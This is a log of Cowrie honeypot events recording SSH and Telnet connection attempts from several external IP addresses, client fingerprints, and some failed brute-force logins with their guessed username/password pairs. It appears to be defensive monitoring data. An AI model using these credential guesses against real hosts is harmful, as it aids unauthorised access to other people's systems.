{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":33682,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6cc43b4d899","protocol":"telnet","message":"New connection: 90.195.245.185:33682 (10.17.0.5:23) [session: a6cc43b4d899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:32.077431Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"team","message":"login attempt [root/team] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:32.608383Z","src_ip":"171.244.141.86","session":"de94247aa3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:33.869753Z","src_ip":"171.244.141.86","session":"de94247aa3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.495450973510742,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:35.572746Z","src_ip":"90.195.245.185","session":"a6cc43b4d899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":60056,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24c18baff23","protocol":"telnet","message":"New connection: 90.195.245.185:60056 (10.17.0.5:23) [session: d24c18baff23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:37.767043Z"}
{"eventid":"cowrie.session.closed","duration":0.8372974395751953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:38.604107Z","src_ip":"90.195.245.185","session":"d24c18baff23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39718,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a9bbb75693","protocol":"telnet","message":"New connection: 139.162.207.207:39718 (10.17.0.5:23) [session: 27a9bbb75693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:38.949842Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39728,"dst_ip":"10.17.0.5","dst_port":23,"session":"1595acfa4bcf","protocol":"telnet","message":"New connection: 139.162.207.207:39728 (10.17.0.5:23) [session: 1595acfa4bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:39.097763Z"}
{"eventid":"cowrie.session.closed","duration":35.44830274581909,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:41.199918Z","src_ip":"209.126.87.217","session":"46dca4c9843e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":60058,"dst_ip":"10.17.0.5","dst_port":23,"session":"134e37fc468a","protocol":"telnet","message":"New connection: 90.195.245.185:60058 (10.17.0.5:23) [session: 134e37fc468a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:41.432507Z"}
{"eventid":"cowrie.session.closed","duration":120.00092959403992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:43.238571Z","src_ip":"72.27.54.238","session":"ae1c42acf253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001620054245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:43.553211Z","src_ip":"187.121.146.224","session":"6b60f051235d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43972,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5477066f40","protocol":"telnet","message":"New connection: 209.126.87.217:43972 (159.203.135.109:23) [session: 3f5477066f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:45.588755Z"}
{"eventid":"cowrie.session.closed","duration":37.85773539543152,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:45.887824Z","src_ip":"139.162.207.207","session":"4c81484a3cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5dfc08cfe13","protocol":"telnet","message":"New connection: 72.27.54.238:38982 (159.203.135.109:23) [session: f5dfc08cfe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:45.938838Z"}
{"eventid":"cowrie.session.closed","duration":120.00109696388245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:46.890700Z","src_ip":"187.121.146.224","session":"251da31770d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.986772298812866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:47.570654Z","src_ip":"209.126.87.217","session":"a3724be789be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.98764181137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:50.639162Z","src_ip":"209.126.87.217","session":"4793c9f37129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":48804,"dst_ip":"10.17.0.5","dst_port":23,"session":"087274f8bbb1","protocol":"telnet","message":"New connection: 90.195.245.185:48804 (10.17.0.5:23) [session: 087274f8bbb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:50.880025Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44494,"dst_ip":"159.203.135.109","dst_port":23,"session":"70898e73b6e6","protocol":"telnet","message":"New connection: 209.126.87.217:44494 (159.203.135.109:23) [session: 70898e73b6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:53.143622Z"}
{"eventid":"cowrie.session.closed","duration":42.06341886520386,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:54.241186Z","src_ip":"139.162.207.207","session":"d1993fed6840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6788015365600586,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:54.558729Z","src_ip":"90.195.245.185","session":"087274f8bbb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1107b3edadb","protocol":"telnet","message":"New connection: 209.126.87.217:44498 (159.203.135.109:23) [session: e1107b3edadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:54.968638Z"}
{"eventid":"cowrie.session.closed","duration":120.00136041641235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:55.580967Z","src_ip":"42.114.201.41","session":"14014394e5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":37552,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f23748743b","protocol":"ssh","message":"New connection: 103.146.202.174:37552 (159.203.135.109:22) [session: 96f23748743b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:56.678301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:56.682725Z","src_ip":"103.146.202.174","session":"96f23748743b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:56.925407Z","src_ip":"103.146.202.174","session":"96f23748743b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00169539451599,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:57.148300Z","src_ip":"42.114.201.41","session":"cd385e4643a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ixdaherti8","message":"login attempt [admin/ixdaherti8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:57.931375Z","src_ip":"103.146.202.174","session":"96f23748743b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49244,"dst_ip":"10.17.0.5","dst_port":23,"session":"995f05f170a5","protocol":"telnet","message":"New connection: 139.162.207.207:49244 (10.17.0.5:23) [session: 995f05f170a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:58.875679Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":32184,"dst_ip":"159.203.135.109","dst_port":23,"session":"f87a2b6f13f2","protocol":"telnet","message":"New connection: 42.114.201.41:32184 (159.203.135.109:23) [session: f87a2b6f13f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:58.962808Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:59.176633Z","src_ip":"103.146.202.174","session":"96f23748743b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39284,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bec3a508c39","protocol":"ssh","message":"New connection: 159.203.92.129:39284 (159.203.135.109:22) [session: 4bec3a508c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:00.963329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:00.967510Z","src_ip":"159.203.92.129","session":"4bec3a508c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:00.971669Z","src_ip":"159.203.92.129","session":"4bec3a508c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Sync@123456","message":"login attempt [ansible/Sync@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:00.981784Z","src_ip":"159.203.92.129","session":"4bec3a508c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.98861360549927,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:01.499315Z","src_ip":"139.162.207.207","session":"09e3d9f414d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:01.987404Z","src_ip":"159.203.92.129","session":"4bec3a508c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36388,"dst_ip":"159.203.135.109","dst_port":23,"session":"063b3295fc18","protocol":"telnet","message":"New connection: 209.126.87.217:36388 (159.203.135.109:23) [session: 063b3295fc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:03.738066Z"}
{"eventid":"cowrie.session.closed","duration":32.07016205787659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:11.019902Z","src_ip":"139.162.207.207","session":"27a9bbb75693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53726,"dst_ip":"159.203.135.109","dst_port":23,"session":"460c2abd532e","protocol":"telnet","message":"New connection: 209.126.87.217:53726 (159.203.135.109:23) [session: 460c2abd532e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:11.718751Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":51066,"dst_ip":"159.203.135.109","dst_port":22,"session":"88fe440c44e6","protocol":"ssh","message":"New connection: 37.143.61.130:51066 (159.203.135.109:22) [session: 88fe440c44e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:13.385144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:13.498750Z","src_ip":"37.143.61.130","session":"88fe440c44e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:14.290578Z","src_ip":"37.143.61.130","session":"88fe440c44e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.33128833770752,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:14.428901Z","src_ip":"139.162.207.207","session":"1595acfa4bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":37584,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef3a9140cea","protocol":"ssh","message":"New connection: 45.43.86.48:37584 (10.17.0.5:22) [session: aef3a9140cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:14.781448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:14.954918Z","src_ip":"45.43.86.48","session":"aef3a9140cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:15.091347Z","src_ip":"45.43.86.48","session":"aef3a9140cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345asd","message":"login attempt [root/12345asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:17.704349Z","src_ip":"37.143.61.130","session":"88fe440c44e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53730,"dst_ip":"159.203.135.109","dst_port":23,"session":"1400c5ffe2b6","protocol":"telnet","message":"New connection: 209.126.87.217:53730 (159.203.135.109:23) [session: 1400c5ffe2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:18.077596Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:18.293225Z","src_ip":"45.43.86.48","session":"aef3a9140cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.510215759277344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:19.098854Z","src_ip":"209.126.87.217","session":"3f5477066f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:19.684136Z","src_ip":"45.43.86.48","session":"aef3a9140cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:21.493439Z","src_ip":"37.143.61.130","session":"88fe440c44e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58406,"dst_ip":"159.203.135.109","dst_port":23,"session":"da361862c344","protocol":"telnet","message":"New connection: 209.126.87.217:58406 (159.203.135.109:23) [session: da361862c344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:22.404960Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51888,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef2eb869cf3","protocol":"telnet","message":"New connection: 139.162.207.207:51888 (10.17.0.5:23) [session: 1ef2eb869cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:23.318056Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33908,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d91400d531","protocol":"telnet","message":"New connection: 139.162.207.207:33908 (10.17.0.5:23) [session: 27d91400d531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:23.959864Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33924,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc95e86b4d7","protocol":"telnet","message":"New connection: 139.162.207.207:33924 (10.17.0.5:23) [session: 0bc95e86b4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:24.450196Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33926,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c58d8adf5f","protocol":"telnet","message":"New connection: 139.162.207.207:33926 (10.17.0.5:23) [session: b0c58d8adf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:24.885003Z"}
{"eventid":"cowrie.session.closed","duration":30.674980640411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:25.643526Z","src_ip":"209.126.87.217","session":"e1107b3edadb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73199462890625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:27.875543Z","src_ip":"209.126.87.217","session":"70898e73b6e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61304c7bf4b","protocol":"telnet","message":"New connection: 209.126.87.217:58414 (159.203.135.109:23) [session: f61304c7bf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:28.083115Z"}
